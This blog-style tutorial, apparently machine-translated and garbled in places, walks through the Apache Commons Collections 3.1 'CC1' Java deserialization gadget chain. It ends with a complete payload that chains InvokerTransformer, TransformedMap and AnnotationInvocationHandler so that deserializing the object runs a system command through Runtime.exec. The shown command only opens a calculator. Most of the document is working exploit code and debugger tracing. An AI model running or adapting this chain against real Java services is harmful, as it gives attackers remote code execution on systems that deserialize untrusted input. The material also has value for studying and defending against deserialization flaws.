CommonsCollections1

Introduction to Commons Collections

Apache Commons is a project of the Apache Software Foundation and used to be affiliated with Jakartathe project. CommonsThe purpose is to provide reusable, open-source Java code that solves various practical general problems. Commons consists of three parts: Proper(some released projects), Sandbox(some projects under development) and Dormant(some projects that have just started or have stopped maintenance).

The Commons CollectionsCollections API package provides a fairly nice addition to the Java standard . On this basis, it encapsulates, abstracts and supplements its common data structure operations well. Let us not only guarantee the performance, but also greatly simplify the code in the process of developing the application.

train of thought

Because Commons Collectionsthey are all collection classes, collection classes can generally accept any object, so go directly to the method call

Deserialization process:

image-20230313230345778

Environment installation

jdk

The 8u65 version commonly used by jdk can be downloaded from the official website

You can install it in a virtual machine, and then copy the jdk to the physical machine

image-20230313234356617

scr.zipThen unzip the inside

image-20230313234539112

change source code

In fact, there is no sun package in the original src.

image-20230313234642187

An external import is required.
Download the openJDK corresponding to the JDK,

openJDK

image-20230313234730649

Find the sun under src\share\classes

image-20230313234857863

Copy it to src under jdk.

image-20230313235703224

build project

import project

image-20230313235540539

Create a new maven project

image-20230313235855343

Then use the 3.1 version of cc1's maven

<dependencies>

    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.1</version>
    </dependency>

</dependencies>

Seeing such a directory, we have successfully built

image-20230315113321570

Commons Collections command execution

poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class cc1 {
    
    
    public static void main(String[] args) {
    
    
        Transformer[] transformers = new Transformer[]{
    
    
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{
    
    String.class}, new Object[]{
    
    "calc"})
        };
        Transformer transformer = new ChainedTransformer(transformers);
        transformer.transform(1);
    }
}

image-20230315104933077

analyze

Transformer[] transformers = new Transformer[]{
    
     //数组
                new ConstantTransformer(Runtime.getRuntime()), //ConstantTransformer

The array is defined transformer, and then it will Runtime.getRuntime()be passed in ConstantTransformer, and what we need when the command is executed is Runtime.getRuntime()the followingexec

follow upConstantTransformer

image-20230315111856322

He will Runtime.getRuntimebe passed iConstantin, iConstantbut an object type

image-20230315112415503

You can see that iConstantthere is a transformmethod in it that can directly return the incoming things,

ConstantTransformer->iConstant->Runtime.getRuntime()

after

new InvokerTransformer("exec", new Class[]{
    
    String.class}, new Object[]{
    
    "calc"})
        };
        Transformer transformer = new ChainedTransformer(transformers);
        transformer.transform(1);
    }

This is InvokerTransformera string of things that will be passed in, take a look at InvokerTransformerthe structure

image-20230315112943481

Accepts three parameters, String type, Class type and Object, after passing in, it is equivalent to

        iMethodName = exec;
        iParamTypes = String.class;
        iArgs = calc;

Why do you want to pass it like this? In InvokerTransformer, there is a transformmethod

image-20230315113536152

and of which

image-20230315113617346

Obviously a reflective execution command

Class cls = input.getClass();

can get a class

Method method = cls.getMethod(iMethodName, iParamTypes);

The method of the class can be obtained, and the one we passed in before

iMethodName = exec;
        iParamTypes = String.class;
        iArgs = calc;

These three parameters can be getMethodobtained through, that is,

Method method = cls.getMethod(exec, String.class);

The final execution command is

return method.invoke(input, iArgs);

Directly passed invoke, the input can be what we sent out Runtime.getRuntime(), iArgsin fact, it is a parameter, that is, it is passed in calc, which causes the command to be executed

But how can he execute the command, that is, get the correct class

There is also a paragraph in the poc

Transformer transformer = new ChainedTransformer(transformers);
        transformer.transform(1);

Put transformersthis array in ChainedTransformerand chase itChainedTransformer

image-20230315132029685It can be seen that what he accepts is an transformersarray and puts him iTransformers in

In poc, transforma parameter is passed

        transformer.transform(1);

follow this method

image-20230315132433511

A for loop, and the parameters inside iTransformersare the parameters we passed before, and then iTransformers[i].transform(object);executed by reaching the command

Follow the breakpoint

image-20230315133001020

It can be seen iTransformers.lengththat it must be two, because we passed two parameters above. In the for loop, when i=0, it will be called ConstanTransformer.transform(you can see the arrow, it is obvious). For the same reason, when i=1, callInvokerTransformer.transform

Continue to follow up and verify

image-20230315133321471

Indeed, and we just Runtime.getRuntime()saved to iConstantthe

ConstantTransformer->iConstant->Runtime.getRuntime()

return directly

image-20230315133704570

It can be seen that the current one objectis what we need Runtime.getRuntime(), i=0 is completed, and then continue with i=1, in i=1, objec is equal toRuntime.getRuntime()

continue to follow

image-20230315134249081

It can be seen getMethodthat the parameters in are passed in by us in poc, and Object inputit happens to be what we want Runtime.getRuntime(), so the command is executed

image-20230315135230785

cc1 chain

The first is the interfaceTransformer

image-20230315210151276

There is only one transformmethod, find the interface class of this method

image-20230315210519002

After entering, you can see the execution of the reflection class command we mentioned earlier

image-20230315210557920

It's here InvokerTransformer, transformand then look for where to call InvokerTransformerittransform

image-20230316140420813

checkSetValueCalled in valueTransformer, transformlet's see valueTransformerwhat it is

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    
    
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

The protected method can only be called by itself, and then find the function that calls him

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    
    
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

decorateCalled in and TransformedMapmade a package for him

then go to checkSetValuecall

image-20230316141104849

setValueIt is called in , which is setValueone entry.mapof the methods in , if we traverse one side of the map, it will definitely be called setValue, and then it will be called checkSetValue, and then we will get to what we want transform, and then we will find the place to traverse the array and call setValueit

image-20230316144646717

The method of calling and traversing AnnotationInvocationHandleris found in , and the information is obtained by reflectionsetValuemap

when writing poc

Runtime r = Runtime.getRuntime();

Cannot be deserialized because there is no interface, so use reflection to get his properties and then deserialize

        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{
    
    String.class, Class[].class}, new Object[]{
    
    "getRuntime", null}).transform(Runtime.class);
        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{
    
    Object.class,Object[].class},new Object[]{
    
    null,null}).transform(getRuntimeMethod);
        new InvokerTransformer("exec", new Class[]{
    
    String.class}, new Object[]{
    
    "calc"}).transform(r);
        Class c = Runtime.class;

Then transformerput all in one, you can just call it once

                Transformer[] transformers = new Transform[]{
    
    
                new InvokerTransformer("getMethod", new Class[]{
    
    String.class, Class[].class}, new Object[]{
    
    "getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{
    
    Object.class, Object[].class}, new Object[]{
    
    null, null}),
                new InvokerTransformer("exec", new Class[]{
    
    String.class}, new Object[]{
    
    "calc"})
        };


        ChainedTransformer chainedTransformer =  new ChainedTransformer(transforms);
        chainedTransformer.transform(Runtime.class);

Later, because there are two if statements here, they have to be bypassed to callsetValue

image-20230316155831494

the first if

if (memberType != null) {
    
      // i.e. member still exists
                Object value = memberValue.getValue();

In fact, let us find a class with member methods, and at the same time, map.put()the array in it should be changed to the name of the member method

For examplemap.put('value','aaa')

the second if

if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
    
    

Judging whether these two things can be forced to switch, it is definitely not possible here, so the two ifs are bypassed

But the actual parameter of setValue is uncontrollable, but at the beginning we have atranform

image-20230316162344996

It can directly return what we input, and we can call this point at the end

Transformer[] transformers = new Transform[]{
    
    
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
    
    String.class, Class[].class}, new Object[]{
    
    "getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{
    
    Object.class, Object[].class}, new Object[]{
    
    null, null}),
                new InvokerTransformer("exec", new Class[]{
    
    String.class}, new Object[]{
    
    "calc"})
        };


        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);

final payload

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

public class cc1 {
    
    
    public static void main(String[] args) throws Exception {
    
    
//        Transformer[] transformers = new Transformer[]{ //数组
//                new ConstantTransformer(Runtime.getRuntime()), //ConstantTransformer
//        Runtime r = Runtime.getRuntime();
//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//        HashMap<Object, Object> map = new HashMap<Object, Object>();
//        map.put("key","123");
//        Map<Object, Object> transformedMap = TransformedMap.decorate(map,null,chaine);
//        //遍历map
//        for(Map.Entry entry:map.entrySet()){
    
    
//            entry.setValue(r);
//        }
//        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//        Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
//        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
//        Class c = Runtime.class;

        Transformer[] transformers = new Transformer[]{
    
    
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
    
    String.class, Class[].class}, new Object[]{
    
    "getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{
    
    Object.class, Object[].class}, new Object[]{
    
    null, null}),
                new InvokerTransformer("exec", new Class[]{
    
    String.class}, new Object[]{
    
    "calc"})
        };

        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);


        HashMap<Object, Object> map = new HashMap<Object, Object>();
        map.put("value","123");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);



//        Method getRuntimeMethod = c.getMethod("getRuntime", null);
//        Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(r,"calc");


        Class c =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor a = c.getDeclaredConstructor(Class.class,Map.class);
        //确定可以访问
        a.setAccessible(true);
        Object o =  a.newInstance(Target.class,transformedMap);
        serialize(o);
        unserializ("ser.bin");

//        TransformedMap.decorate(map,null,invokerTransformer);
    }

    ;
    //        Transformer transformer = new ChainedTransformer(transformers);
//        transformer.transform(1);


    public static void serialize(Object obj) throws IOException {
    
    
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserializ(String Filename) throws IOException, ClassNotFoundException {
    
    
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

insert image description here

Guess you like

Origin blog.csdn.net/qq_63928796/article/details/129591227